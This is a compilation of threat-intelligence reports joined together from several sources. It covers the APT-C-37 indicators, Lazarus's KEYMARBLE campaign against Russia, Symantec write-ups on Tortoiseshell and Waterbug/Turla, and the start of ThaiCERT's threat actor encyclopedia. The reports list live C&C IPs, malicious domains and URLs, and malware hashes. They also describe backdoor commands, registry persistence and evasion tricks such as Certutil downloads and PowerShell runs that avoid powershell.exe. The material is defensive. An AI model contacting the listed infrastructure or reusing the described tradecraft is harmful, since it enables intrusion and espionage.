+A31f1ce49662a60daa46180d02ab6218 +A41c5f227ac2816355ce4cf650993749 +A95d57eaaf7847a07e62c6ea0fecbfb7 +B7d12ab736b41d503e93a0bd6125cf62 +B87f516b2ee0e6df09510f75b16c25ef +Bb2d1238c8418cde13128e91f1a77ae7 +Bef2dddd8892a4985879971cf437d79b +13/15 +Android attack sample MD5 +Windows attack sample MD5 +C9e434e780b5bed397c543bb3264deea +D195511307a2c5ac52bebf8a98b9dfae +D207a876369681ed476f650d808a25a8 +Dc1ede8e2d3206b04cb95b6ae62f43e0 +E92651bb3ad8c5c3acf38dedb2abc2ca +Ea6e187934fc1459d3b04b0898496b2c +Eb3310f19720abddc34c4602983e4f3c +F66d99406819ca96b47d7ff0881a0a1a +Appendix B: C&C +66.85.157.86 +82.137.255.0 +Da3da3.duckdns.org +Samd1.duckdns.org +Samd2.duckdns.org +Sorry.duckdns.org +Btcaes2.duckdns.org +Appendix C: Reference Links +[1] https://ti.360.net/blog/articles/analysis-of-apt-c-27/ +[2] https://en.wikipedia.org/wiki/Njrat +[3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-byhoudini.html +This article links: http://blogs.360.cn/post/analysis-of-apt-c-37.html +-- EOF -14/15 +15/15 +ATTACKS OF THE LAZARUS CYBERCRIMINAL GROUP +ATTENDED TO ORGANIZATIONS IN RUSSIA +securitysummitperu.com/articulos/se-identifico-ataques-del-grupo-cibercriminal-lazarus-dirigidos-aorganizaciones-en-rusia +20 de febrero de +2019 +Security investigators have concluded that the North Korean state-sponsored cybercriminal +group, Lazarus, would be conducting suspicious activities targeting companies based in +Russia. This is based on the connections discovered between the tactics, techniques and +tools detected and the mode of operation of the group also known as Hidden Cobra. +Affected Services + Microsoft Windows Operating Systems +Technical details +The Lazarus campaign targeting Russia uses malicious Office documents delivered as ZIP +files, along with a PDF document called NDA_USA.pdf that contains a StarForce Technologies +agreement, which is a Russian software company that provides copy protection software. +The security community believes that Lazarus is divided into at least two subdivisions: the +first called Andariel, which focuses on attacking the government and organizations of South +Korea, and the second, Bluenoroff, whose main focus is monetization and campaigning. +global espionage +This incident, however, represents an unusual choice of victim by the North Korean threat +actor. Typically, these attacks reflect geopolitical tensions between the Democratic People's +Republic of Korea (DPRK) and nations such as the United States, Japan and South Korea. +Infection chain +The main infection flow consists of the following three main steps: +1. A ZIP file that contains two documents: a benign decoy PDF document and a malicious +Word document with macros. +2. The malicious macro downloads a VBS script from a Dropbox URL, followed by the +execution of the VBS script. +3. The VBS script downloads a CAB file from the server in the download zone, extracts the +embedded EXE file (KEYMARBLE) with the Windows +expand.exe + utility and finally executes +Figure 1 : Lazarus KEymarble malware infection sequence. +KEYMARBLE +This malware is a remote administration tool (RAT) that provides its operators with basic +functionality to retrieve information from the victim's computer. Once executed, it performs +several initializations, contacts a Command and Control (C&C) server and waits indefinitely +to receive new commands. Each command received is processed by the backdoor and is +handled within an appropriate function, which in turn collects information or performs an +action on the target computer. +Commitment Indicators (IoC) +194 [.] 45 [.] 8 [.] 41 +37 [.] 238 [.] 135 [.] 70 +Hashes +MD5 : dc3fff0873c3e8e853f6c5e01aa94fcf +SHA256 : 1c4745c82fdcb9d05e210eff346d7bee2f087357b17bfcf7c2038c854f0dee61 +MD5 : 704d491c155aad996f16377a35732cb4 +SHA256 : e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 +MD5 : 2b68360b0d4e26d2b5f7698fe324b87d +SHA256 : 49a23160ba2af4fba0186512783482918b07a32b0e809de0336ba723636ae3b6 +MD5 : a7be38e8f84c5ad9cce30d009dc31d32 +SHA256 : f4bdf0f967330f9704b01cc962137a70596822b8319d3b35404eafc9c6d2efe7 +MD5 : 7646d1fa1de852bb99c621f5e9927221 +SHA256 : 9894f6993cae186981ecb034899353a04f1a9b009bdf265cecda9595b725ee20 +MD5 : 22d53ada23b2625265cdbddc8a599ee0 +SHA256 : 8e099261929b1b09e9d637e8d054d5909b945b4157f29337977eb7f5fb835e5d +Our clients are recommended to follow the following preventive actions to reduce risks: +For information security personnel: + Maintain a strict update protocol for operating systems, antivirus and all applications +running on them. + Constantly raise awareness among users on issues related to computer security. + Restrict the ability (permissions) of users to install and run unwanted software +applications. Do not add users to the local administrators group unless necessary. + Block the commitment indicators (IOC) shown in the security devices of your +infrastructure. +** Before carrying out the blocking of IOCs, it is important that in the development +environment it is previously validated and confirmed at the level of internal and external +services, in order to apply the changes in a controlled manner. +For end users: + Verify the account information that sends you an email, the name and address of the +recipient to identify if they are suspicious. + Do not open emails of doubtful origin (unknown sender), or click on links, or download +unknown attachments. + If a spam or phishing email is detected, report it immediately to the information security +officers of your institution. + Scan all software downloaded from the Internet before execution. + Visit secure web pages (https), and verify the digital certificate with a click on the status bar +lock. +Sources +Source 1: North Korea Turns Against New Targets ?! +Source 2: North Korean APT Lazarus Targets Russian Entities with KEYMARBLE +Backdoor +If you have any questions, do not hesitate to contact us: reports@securesoftcorp.com +Tortoiseshell Group Targets IT Providers in Saudi Arabia in +Probable Supply Chain Attacks +symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain +A previously undocumented attack group is using both custom and off-the-shelf malware to +target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end +goal of compromising the IT providers + customers. +The group, which we are calling Tortoiseshell, has been active since at least July 2018. +Symantec has identified a total of 11 organizations hit by the group, the majority of which are +based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers +gained domain admin-level access. +"#Tortoiseshell group uses custom malware, off-the-shelf tools, #livingofftheland techniques +to compromise victims https://symc.ly/2lV4Ovn" +Another notable element of this attack is that, on two of the compromised networks, several +hundred computers were infected with malware. This is an unusually large number of +computers to be compromised in a targeted attack. It is possible that the attackers were +forced to infect many machines before finding those that were of most interest to them. +We have seen Tortoiseshell activity as recently as July 2019. +Custom tools +The unique component used by Tortoiseshell is a malware called Backdoor.Syskit. This is a +basic backdoor that can download and execute additional tools and commands. The actors +behind it have developed it in both Delphi and .NET. +Backdoor.Syskit is run with the +-install + parameter to install itself. There are a number of +minor variations of the backdoor, but the primary functionality is the following: +reads config file: %Windir%\temp\rconfig.xml +writes Base64 encoding of AES encrypted (with key "fromhere") version of the data in +the "url" element of the XML to: +HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Enablevmd +This contains the command and control (C&C) information. +writes Base64 encoding of AES encrypted (with key "fromhere") version of the "result" +element of the XML to: +HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Sendvmd +This holds the later portion of the URL to append to the C&C for sending information to it. +deletes the config file +The malware collects and sends the machine +s IP address, operating system name and +version, and Mac address to the C&C server using the URL in the Sendvmd registry key +mentioned above. Data sent to the C&C server is Base64 encoded. +The backdoor can receive various commands: +"kill_me": +stops the dllhost service and deletes %Windir%\temp\bak.exe +"upload " +downloads from the URL provided by the C&C server +"unzip" +uses PowerShell to unzip a specified file to a specified destination, or to run cmd.exe /c + +Tools, techniques, and procedures +The other tools used by the group are public tools, and include: +Infostealer/Sha.exe/Sha432.exe +Infostealer/stereoversioncontrol.exe +get-logon-history.ps1 +Infostealer/stereoversioncontrol.exe downloads a RAR file, as well as the get-logonhistory.ps1 tool. It runs several commands on the infected machine to gather information +about it and also the Firefox data of all users of the machine. It then compresses this +information before transferring it to a remote directory. Infostealer/Sha.exe/Sha432.exe +operates in a similar manner, gathering information about the infected machine. +We also saw Tortoiseshell using other dumping tools and PowerShell backdoors. +The initial infection vector used by Tortoiseshell to get onto infected machines has not been +confirmed, but it is possible that, in one instance, a web server was compromised to gain +access by the attacker. For at least one victim, the first indication of malware on their network +was a web shell (d9ac9c950e5495c9005b04843a40f01fa49d5fd49226cb5b03a055232ffc36f3). +This indicates that the attackers likely compromised a web server, and then used this to +deploy malware onto the network. +This activity indicates the attackers had achieved domain admin level +access on these networks, meaning they had access to all machines on the +network. +Once on a victim computer, Tortoiseshell deploys several information gathering tools, like +those mentioned above, and retrieves a range of information about the machine, such as IP +configuration, running applications, system information, network connectivity etc. +On at least two victim networks, Tortoiseshell deployed its information gathering tools to the +Netlogon folder on a domain controller. This results in the information gathering tools being +executed automatically when a client computer logs into the domain. This activity indicates +the attackers had achieved domain admin level access on these networks, meaning they had +access to all machines on the network. +Presence of OilRig tools +In one victim organization, we also saw a tool called Poison Frog deployed one month prior to +the Tortoiseshell tools. Poison Frog is a backdoor and a variant of a tool called BondUpdater, +which was previously seen used in attacks on organizations in the Middle East. The tools were +leaked on Telegram in April this year and are associated with the group known as APT34, aka +Oilrig. +It is unclear if the same actor deployed both the Poison Frog tool and the Tortoiseshell tools, +however, given the gap in time between the two sets of tools being used, and without further +evidence, the current assumption is that the activity is unrelated. If that is the case, this +activity demonstrates the interest from multiple attack groups in industries in this region. The +Poison Frog tool also appears to have been leaked prior to deployment to this victim, so could +be used by a group unrelated to APT34/Oilrig. +Attacker motives +The targeting of IT providers points strongly to these attacks being supply chain attacks, with +the likely end goal being to gain access to the networks of some of the IT providers +customers. Supply chain attacks have been increasing in recent years, with a 78 percent +increase in 2018, as we covered in ISTR 24. Supply chain attacks, which exploit third-party +services and software to compromise a final target, take many forms, including hijacking +software updates and injecting malicious code into legitimate software. +IT providers are an ideal target for attackers given their high level of access to their clients +computers. This access may give them the ability to send malicious software updates to +target machines, and may even provide them with remote access to customer machines. This +provides access to the victims + networks without having to compromise the networks +themselves, which might not be possible if the intended victims have strong security +infrastructure, and also reduces the risk of the attack being discovered. The targeting of a +third-party service provider also makes it harder to pinpoint who the attackers + true intended +targets were. +The customer profiles of the targeted IT companies are unknown, but Tortoiseshell is not the +first group to target organizations in the Middle East, as we have covered in previous blogs. +However, we currently have no evidence that would allow us to attribute Tortoiseshell +activity to any existing known group or nation state. +Protection/Mitigation +The following protections are also in place to protect customers against Tortoiseshell activity: +Backdoor.Syskit +Indicators of Compromise +SHA256 +Name +f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193 +Backdoor.Syskit +02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2 +Backdoor.Syskit +07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4 +Backdoor.Syskit +Backdoor.Syskit C&C servers +64.235.60.123 +64.235.39.45 +Backdoor.Syskit C&C servers +The Attack Investigation Team is a group of security experts within Symantec Security +Response whose mission is to investigate targeted attacks, drive enhanced protection in +Symantec products, and offer analysis which helps customers respond to attacks. +Waterbug: Espionage Group Rolls Out Brand-New Toolset in +Attacks Against Governments +symantec.com/blogs/threat-intelligence/waterbug-espionage-governments +The Waterbug espionage group (aka Turla) has continued to attack governments and +international organizations over the past eighteen months in a series of campaigns that +have featured a rapidly evolving toolset and, in one notable instance, the apparent hijacking +of another espionage group +s infrastructure. +Three waves of attacks +Recent Waterbug activity can be divided into three distinct campaigns, characterized by +differing toolsets. One campaign involved a new and previously unseen backdoor called +Neptun (Backdoor.Whisperer). Neptun is installed on Microsoft Exchange servers and is +designed to passively listen for commands from the attackers. This passive listening +capability makes the malware more difficult to detect. Neptun is also able to download +additional tools, upload stolen files, and execute shell commands. One attack during this +campaign involved the use of infrastructure belonging to another espionage group known +as Crambus (aka OilRig, APT34). +A second campaign used Meterpreter, a publicly available backdoor along with two custom +loaders, a custom backdoor called photobased.dll, and a custom Remote Procedure Call +(RPC) backdoor. Waterbug has been using Meterpreter since at least early 2018 and, in this +campaign, used a modified version of Meterpreter, which was encoded and given a .wav +extension in order to disguise its true purpose. +The third campaign deployed a different custom RPC backdoor to that used in the second +campaign. This backdoor used code derived from the publicly available PowerShellRunner +tool to execute PowerShell scripts without using powershell.exe. This tool is designed to +bypass detection aimed at identifying malicious PowerShell usage. Prior to execution, the +PowerShell scripts were stored Base64-encoded in the registry. This was probably done to +avoid them being written to the file system. +1/11 +2/11 +Figure 1. Waterbug group rolls out fresh toolset in three new campaigns +Retooled +Waterbug +s most recent campaigns have involved a swath of new tools including custom +malware, modified versions of publicly available hacking tools, and legitimate administration +tools. The group has also followed the current shift towards +living off the land, + making use +of PowerShell scripts and PsExec, a Microsoft Sysinternals tool used for executing processes +on other systems. +Aside from new tools already mentioned above, Waterbug has also deployed: +A new custom dropper typically used to install Neptun as a service. +A custom hacking tool that combines four leaked Equation Group tools (EternalBlue, +EternalRomance, DoublePulsar, SMBTouch) into a single executable. +A USB data collecting tool that checks for a connected USB drive and steals certain file +types, encrypting them into a RAR file. It then uses WebDAV to upload to a Box cloud +drive. +Visual Basic scripts that perform system reconnaissance after initial infection and then +send information to Waterbug command and control (C&C) servers. +PowerShell scripts that perform system reconnaissance and credential theft from +Windows Credential Manager and then send this information back to Waterbug C&Cs. +Publicly available tools such as IntelliAdmin to execute RPC commands, SScan and +NBTScan for network reconnaissance, PsExec for execution and lateral movement, +and Mimikatz (Hacktool.Mimikatz) for credential theft, and Certutil.exe to download +and decode remote files. These tools were identified being downloaded via Waterbug +tools or infrastructure. +Victims +These three recent Waterbug campaigns have seen the group compromise governments +and international organizations across the globe in addition to targets in the IT and +education sectors. Since early 2018, Waterbug has attacked 13 organizations across 10 +different countries: +The Ministry of Foreign Affairs of a Latin American country +The Ministry of Foreign Affairs of a Middle Eastern country +The Ministry of Foreign Affairs of a European country +The Ministry of the Interior of a South Asian country +Two unidentified government organizations in a Middle Eastern country +One unidentified government organization in a Southeast Asian country +3/11 +A government office of a South Asian country based in another country +An information and communications technology organization in a Middle Eastern +country +Two information and communications technology organizations in two European +countries +An information and communications technology organization in a South Asian country +A multinational organization in a Middle Eastern country +An educational institution in a South Asian country +Hijacked infrastructure +One of the most interesting things to occur during one of Waterbug +s recent campaigns was +that during an attack against one target in the Middle East, Waterbug appeared to hijack +infrastructure from the Crambus espionage group and used it to deliver malware on to the +victim +s network. Press reports have linked Crambus and Waterbug to different nation +states. While it is possible that the two groups may have been collaborating, Symantec has +found no further evidence to support this. In all likelihood, Waterbug +s use of Crambus +infrastructure appears to have been a hostile takeover. Curiously though, Waterbug also +compromised other computers on the victim +s network using its own infrastructure. +During this attack, a customized variant of the publicly available hacking tool Mimikatz was +downloaded to a computer on the victim +s network from known Crambus-controlled +network infrastructure. Mimikatz was downloaded via the Powruner tool and the Poison +Frog control panel. Both the infrastructure and the Powruner tool have been publicly tied to +Crambus by a number of vendors. Both were also mentioned in recent leaks of documents +tied to Crambus. +Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug. It +was heavily modified, with almost all original code stripped out aside from its +sekurlsa::logonpasswords credential stealing feature. Waterbug has frequently made +extensive modifications to publicly available tools, something Crambus is not well known +for. +The variant of Mimikatz used was packed with a custom packing routine that has not been +seen before in any non-Waterbug malware. Waterbug used this same packer on a second +custom variant of Mimikatz and on a dropper for the group +s custom Neuron service +(Trojan.Cadanif). Its use in the dropper leads us to conclude that this custom packer is +exclusively used by Waterbug. Additionally, this version of Mimikatz was compiled using +Visual Studio and the publicly available bzip2 library which, although not unique, has been +used by other Waterbug tools previously. +Aside from the attack involving Crambus infrastructure, this sample of Mimikatz has only +been seen used in one other attack, against an education target in the UK in 2017. On that +4/11 +occasion, Mimikatz was dropped by a known Waterbug tool. +In the case of the attack against the Middle Eastern target, Crambus was the first group to +compromise the victim +s network, with the earliest evidence of activity dating to November +2017. The first observed evidence of Waterbug activity came on January 11, 2018, when a +Waterbug-linked tool (a task scheduler named msfgi.exe) was dropped on to a computer on +the victim +s network. The next day, January 12, the aforementioned variant of Mimikatz was +downloaded to the same computer from a known Crambus C&C server. Two further +computers on the victim +s network were compromised with Waterbug tools on January 12, +but there is no evidence that Crambus infrastructure was used in these attacks. While one +of these computers had been previously compromised by Crambus, the other showed no +signs of Crambus intrusion. +5/11 +Figure 2. Waterbug likely compromised the C&C network infrastructure of Crambus +Waterbug +s intrusions on the victim +s network continued for much of 2018. On September 5, +2018, a similar Mimikatz variant was dropped by Waterbug +s Neptun backdoor onto another +computer on the network. At around the same time, other Waterbug malware was seen on +the victim +s network which communicated with known Waterbug C&C servers. +Finally, the issue was clouded further by the appearance of a legitimate systems +administration tool called IntelliAdmin on the victim +s network. This tool is known to have +been used by Crambus and was mentioned in the leak of Crambus documents. However, in +6/11 +this case, IntelliAdmin was dropped by custom Waterbug backdoors, including the newly +identified Neptun backdoor, on computers that had not been affected by the Crambus +compromise. +The incident leaves many unanswered questions, chiefly relating to Waterbug +s motive for +using Crambus infrastructure. There are several possibilities: +1. False flag: Waterbug does have a track record of using false flag tactics to throw +investigators off the scent. However, if this was a genuine attempt at a false flag +operation, it begs the question of why it also used its own infrastructure to +communicate with other machines on the victim +s network, in addition to using tools +that could be traced back to Waterbug. +2. Means of intrusion: It is possible that Waterbug wanted to compromise the target +organization, found out that Crambus had already compromised its network, and +hijacked Crambus +s own infrastructure as a means of gaining access. Symantec did not +observe the initial access point and the close timeframe between Waterbug observed +activity on the victim +s network and its observed use of Crambus infrastructure +suggests that Waterbug may have used the Crambus infrastructure as an initial access +point. +3. Mimikatz variant belonged to Crambus: There is a possibility that the version of +Mimikatz downloaded by the Crambus infrastructure was actually developed by +Crambus. However, the compilation technique and the fact that the only other +occasion it was used was linked to Waterbug works against this hypothesis. The fact +that Waterbug also appeared on the victim +s network around the same time this +version of Mimikatz was downloaded would make it an unlikely coincidence if the tool +did belong to Crambus. +4. Opportunistic sowing of confusion: If a false flag operation wasn +t planned from the +start, it is possible that Waterbug discovered the Crambus intrusion while preparing +its attack and opportunistically used it in the hopes of sowing some confusion in the +mind of the victim or investigators. Based on recent leaks of Crambus internal +documents, its Poison Frog control panel is known to be vulnerable to compromise, +meaning it may have been a relatively trivial diversion on the part of Waterbug to +hijack Crambus +s infrastructure. A compromise conducted by one threat actor group +through another's infrastructure, or fourth party collections, has been previously +discussed in a 2017 white paper by Kaspersky researchers. +Further campaigns +Waterbug has also mounted two other campaigns over the past year, each of which was +characterized by separate tools. These campaigns were wide ranging, hitting targets in +Europe, Latin America, and South Asia. +7/11 +In the first campaign, Waterbug used two versions of a custom loader named javavs.exe (64bit) and javaws.exe (32-bit), to load a custom backdoor named PhotoBased.dll and run the +export function GetUpdate on the victim +s computers. The backdoor will modify the registry +for the Windows Media Player to store its C&C configuration. It also reconfigures the +Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool. The +backdoor has the capability to download and upload files, execute shell commands, and +update its configuration. +The javaws.exe loader is also used to run another loader named tasklistw.exe. This is used +by the attackers to decode and execute a series of malicious executables that download +Meterpreter to the infected computer. +The attackers also install another backdoor that runs a command shell via the named pipe +cmd_pipe. Both backdoors allow the attackers to execute various commands that provide +full control of the victim +s system. Waterbug also used an older version of PowerShell, likely +to avoid logging. +In the second campaign, Waterbug used an entirely different backdoor, named securlsa.chk. +This backdoor can receive commands through the RPC protocol. Its capabilities include: +Executing commands through cmd.exe with the output redirected into a temporary +file +Reading the command output contained in the temporary file +Reading or writing arbitrary files +This RPC backdoor also included source code derived from the tool PowerShellRunner, +which allows a user to run PowerShell scripts without executing powershell.exe, therefore +the user may bypass detection aimed at identifying malicious PowerShell usage. +While both campaigns involved distinct tools during the initial compromise phase, there +were also many similarities. Both were characterized by the use of a combination of custom +malware and publicly available tools. Also, during both campaigns Waterbug executed +multiple payloads nearly simultaneously, most likely to ensure overlapping access to the +network if defenders found and removed one of the backdoors. +Waterbug took several steps to avoid detection. It named Meterpreter as a WAV file type, +probably in the hope that this would not raise suspicions. The group also used GitHub as a +repository for tools that it downloaded post-compromise. This too was likely motivated by a +desire to evade detection, since GitHub is a widely trusted website. It used Certutil.exe to +download files from the repository, which is an application whitelist bypass technique for +remote downloads. +In one of these campaigns, Waterbug used a USB stealer that scans removable storage +devices to identify and collect files of interest. It then packages stolen files into a password8/11 +protected RAR archive. The malware then uses WebDAV to upload the RAR archive to a Box +account. +Unanswered questions +This is the first time Symantec has observed one targeted attack group seemingly hijack and +use the infrastructure of another group. However, it is still difficult to ascertain the motive +behind the attack. Whether Waterbug simply seized the opportunity to create confusion +about the attack or whether there was more strategic thinking involved remains unknown. +Waterbug +s ever-changing toolset demonstrates a high degree of adaptability by a group +determined to avoid detection by staying one step ahead of its targets. Frequent retooling +and a penchant for flirting with false flag tactics have made this group one of the most +challenging adversaries on the targeted attack landscape. +Protection/Mitigation +Symantec has the following protection in place to protect customers against these attacks: +File-based protection +Backdoor.Whisperer +Hacktool.Mimikatz +Threat Intelligence +The DeepSight Managed Adversary and Threat Intelligence (MATI) team co-authored this +blog and its customers have received intelligence with additional details about these +campaigns, the characteristics of the Waterbug (aka Turla) cyber espionage group, and +methods of detecting and thwarting activities of this adversary. +Indicators of Compromise +Campaign 1 +24fe571f3066045497b1d8316040734c81c71dcb1747f1d7026cda810085fad7 +66893ab83a7d4e298720da28cd2ea4a860371ae938cdd86035ce920b933c9d85 +7942eee31d8cb1c8853ce679f686ee104d359023645c7cb808361df791337145 +7bd3ff9ba43020688acaa05ce4e0a8f92f53d9d9264053255a5937cbd7a5465e +a1d9f5b9ca7dda631f30bd1220026fc8c3a554d61db09b5030b8eb9d33dc9356 +c63f425d96365d906604b1529611eefe5524432545a7977ebe2ac8c79f90ad7e +cb7ecd6805b12fdb442faa8f61f6a2ee69b8731326a646ba1e8886f0a5dd61e0 +db9902cb42f6dc9f1c02bd3413ab3969d345eb6b0660bd8356a0c328f1ec0c07 +9/11 +e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea +e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea +5da013a64fd60913b5cb94e85fc64624d0339e09d7dce25ab9be082f0ca5e38b +c8a864039f4d271f4ab6f440cbc14dffd8c459aa3af86f79f0619a13f67c309f +588fd8eba6e62c28a584781deefe512659f6665daeb8c85100e0bf7a472ad825 +cda5b20712e59a6ba486e55a6ab428b9c45eb8d419e25f555ae4a7b537fc2f26 +694d9c8a1f0563c08e0d3ab7d402ffbf5a0fa11340c50fba84d709384ccef021 +caaed70daa7832952ae93f41131e74dcb6724bb8669d18f28fbed4aa983fdc0c +493eee2c55810201557ef0e5d134ca0d9569f25ae732df139bb0cb3d1478257f +0e9c3779fece579bed30cb0b7093a962d5de84faa2d72e4230218d4a75ee82bc +5bbeed53aaa40605aabbfde31cbfafd5b92b52720e05fa6469ce1502169177a0 +d153e4b8a11e2537ecf99aec020da5fad1e34bbe79f617a3ee5bc0b07c3abdca +vision2030.tk +vision2030.cf +dubaiexpo2020.cf +microsoft.updatemeltdownkb7234.com +codewizard.ml +updatenodes.site +https://vision2030.tk/static/googleupdate.txt +https://dubaiexpo2020.cf/counter.aspx +https://microsoft.updatemeltdownkb7234.com/windows/update.aspx +https://codewizard.ml/productivity/update.aspx +Campaign 2 +10d1bfd5e8e1c8fa75756a9f1787c3179da9ab338a476f1991d9e300c6186575 +3fbec774da2a145974a917aeb64fc389345feb3e581b46d018077e28333601a5 +52169d7cdd01098efdde4da3fb22991aaa53ab9e02db5d80114a639bf65bce39 +56098ed50e25f28d466be78a36c643d19fedc563a2250ae86a6d936318b7f57e +595a54f0bbf297041ce259461ae8a12f37fb29e5180705eafb3668b4a491cecc +5dc26566b4dec09865ea89edd4f9765ef93e789870ed4c25fcc4ebad19780b40 +6b60b27385738cac65584cf7d486913ff997c66d97a94e1dde158c9cd03a4206 +846a95a26aac843d1fcec51b2b730e9e8f40032ee4f769035966169d68d144c4 +c4a6db706c59a5a0a29368f80731904cc98a26e081088e5793764a381708b1ea +d0b99353cb6500bb18f6e83fe9eed9ce16e5a8d5b940181e5eafd8d82f328a59 +ee7f92a158940a0b5d9b902eb0ed9a655c7e6ba312473b1e2c9ef80d58baa6dd +94.249.192.182 +Campaign 3 +10/11 +454e6c3d8c1c982cd301b4dd82ec3431935c28adea78ed8160d731ab0bed6cb7 +4ecb587ee9b872747408c00de5619cb6b973e7d39ce4937655c5d1a07b7500fc +528e2567e24809d2d0ba96fd70e41d71c18152f0f0c4f29ced129ed7701fa42a +6928e212874686d29c85eac72553ccdf89aacb475c61fa3c086c796df3ab5940 +b22bbda8f504f8cced886f566f954cc245f3e7c205e57139610bbbff0412611c +d52b08dd27f2649bad764152dfc2a7dea0c8894ce7c20b51482f4a4cf3e1e792 +e7e41b3d7c0ee2d0939bb56d797eaf2dec44516ba54b8bf1477414b03d4d6e48 +ec3da59d4a35941f6951639d81d1c5ff73057d9cf779428d80474e9656db427c +fbefe503d78104e04625a511528584327ac129c3436e4df09f3d167e438a1862 +markham-travel.com +zebra.wikaba.com +185.141.62.32 +212.21.52.110 +Symantec +s managed adversary and threat intelligence (MATI) team of intelligence analysts +& researchers are dedicated to understanding the adversary ecosystem and providing +insightful customer reports detailing their plans, tactics, tools, and campaigns. +11/11 +THREAT GROUP CARDS: +A THREAT ACTOR ENCYCLOPEDIA +Compiled by ThaiCERT +a member of the Electronic Transactions Development Agency +TLP:WHITE Version 1.01 (19 June 2019) +Threat Group Cards: A Threat Actor Encyclopedia +Contents +Introduction............................................................................................................................................................................ 8 +Approach ........................................................................................................................................................................... 8 +Legal Notice ...................................................................................................................................................................... 9 +Acknowledgements .......................................................................................................................................................... 9 +Advanced Persistent Threat (APT) Groups.................................................................................................................... 10 +Anchor Panda, APT 14 .................................................................................................................................................. 11 +Allanite ............................................................................................................................................................................. 12 +APT 3, Gothic Panda, Buckeye.................................................................................................................................... 13 +APT 5 ............................................................................................................................................................................... 15 +APT 6 ............................................................................................................................................................................... 16 +APT 12, Numbered Panda ............................................................................................................................................ 17 +APT 16, SVCMONDR .................................................................................................................................................... 19 +APT 17, Deputy Dog ...................................................................................................................................................... 20 +APT 18, Dynamite Panda, Wekby ............................................................................................................................... 21 +APT 19, C0d0so ............................................................................................................................................................. 22 +APT 20, Violin Panda..................................................................................................................................................... 23 +APT 29, Cozy Bear, The Dukes ................................................................................................................................... 24 +APT 30, Override Panda ............................................................................................................................................... 27 +APT 32, OceanLotus, SeaLotus .................................................................................................................................. 29 +APT 33, Elfin ................................................................................................................................................................... 33 +Axiom, Group 72............................................................................................................................................................. 34 +Bahamut........................................................................................................................................................................... 35 +Barium .............................................................................................................................................................................. 37 +Berserk Bear, Dragonfly 2.0 ......................................................................................................................................... 39 +Blackgear ......................................................................................................................................................................... 40 +BlackOasis....................................................................................................................................................................... 41 +BlackTech ........................................................................................................................................................................ 42 +Blind Eagle ...................................................................................................................................................................... 44 +Blue Termite, Cloudy Omega ....................................................................................................................................... 45 +Bookworm........................................................................................................................................................................ 46 +Bronze Butler, Tick ......................................................................................................................................................... 47 +Buhtrap............................................................................................................................................................................. 48 +Cadelle ............................................................................................................................................................................. 50 +Threat Group Cards: A Threat Actor Encyclopedia +Callisto Group ................................................................................................................................................................. 51 +Carbanak, Anunak ......................................................................................................................................................... 52 +Careto, The Mask ........................................................................................................................................................... 53 +Chafer, APT 39 ............................................................................................................................................................... 54 +Charming Kitten, Newscaster, NewsBeef .................................................................................................................. 56 +Clever Kitten .................................................................................................................................................................... 58 +Cobalt Group ................................................................................................................................................................... 59 +Cold River ........................................................................................................................................................................ 62 +Comment Crew, APT 1.................................................................................................................................................. 63 +Confucius ......................................................................................................................................................................... 65 +CopyKittens, Slayer Kitten ............................................................................................................................................ 66 +Corkow, Metel ................................................................................................................................................................. 67 +Covellite ........................................................................................................................................................................... 68 +Cutting Kitten, TG-2889................................................................................................................................................. 69 +Dark Caracal ................................................................................................................................................................... 71 +DarkHotel ......................................................................................................................................................................... 72 +DarkHydrus, LazyMeerkat ............................................................................................................................................ 74 +Deep Panda, APT 26, Shell Crew, WebMasters, KungFu Kittens ......................................................................... 75 +Desert Falcons ................................................................................................................................................................ 78 +DNSpionage .................................................................................................................................................................... 80 +Domestic Kitten............................................................................................................................................................... 81 +Donot Team..................................................................................................................................................................... 82 +DragonOK........................................................................................................................................................................ 83 +DustSquad ....................................................................................................................................................................... 84 +Dust Storm....................................................................................................................................................................... 85 +Elderwood, Sneaky Panda............................................................................................................................................ 86 +El Machete....................................................................................................................................................................... 88 +Energetic Bear, Dragonfly ............................................................................................................................................. 89 +Equation Group............................................................................................................................................................... 92 +Emissary Panda, APT 27, LuckyMouse, Bronze Union ........................................................................................... 94 +FIN4, Wolf Spider ........................................................................................................................................................... 96 +FIN5 .................................................................................................................................................................................. 97 +FIN6, Skeleton Spider ................................................................................................................................................... 98 +FIN7 .................................................................................................................................................................................. 99 +Threat Group Cards: A Threat Actor Encyclopedia +FIN8 ................................................................................................................................................................................ 102 +FIN10.............................................................................................................................................................................. 103 +Flying Kitten, Ajax Security Team .............................................................................................................................. 104 +Gallmaker ...................................................................................................................................................................... 105 +Gamaredon Group ....................................................................................................................................................... 106 +GCMAN .......................................................................................................................................................................... 107 +GhostNet, Snooping Dragon ...................................................................................................................................... 108 +Goblin Panda, Cycldek ................................................................................................................................................ 109 +Goldmouse .................................................................................................................................................................... 110 +Gorgon Group ............................................................................................................................................................... 111 +GozNym ......................................................................................................................................................................... 113 +Group5 ........................................................................................................................................................................... 114 +Hidden Lynx, Aurora Panda........................................................................................................................................ 115 +Honeybee ...................................................................................................................................................................... 117 +Hurricane Panda, Zirconium, APT 31 ....................................................................................................................... 118 +Icefog, Dagger Panda .................................................................................................................................................. 119 +Inception Framework ................................................................................................................................................... 121 +Infy, Prince of Persia .................................................................................................................................................... 123 +Iridium............................................................................................................................................................................. 125 +Ke3chang, Vixen Panda, APT 15, GREF, Playful Dragon..................................................................................... 126 +Kimsuky, Velvet Chollima............................................................................................................................................ 128 +Lazarus Group, Hidden Cobra, Labyrinth Chollima ................................................................................................ 129 +Subgroup: Andariel, Silent Chollima...................................................................................................................... 134 +Subgroup: Bluenoroff, APT 38, Stardust Chollima .............................................................................................. 135 +Lead................................................................................................................................................................................ 137 +Leafminer, Raspite ....................................................................................................................................................... 138 +Leviathan, APT 40, 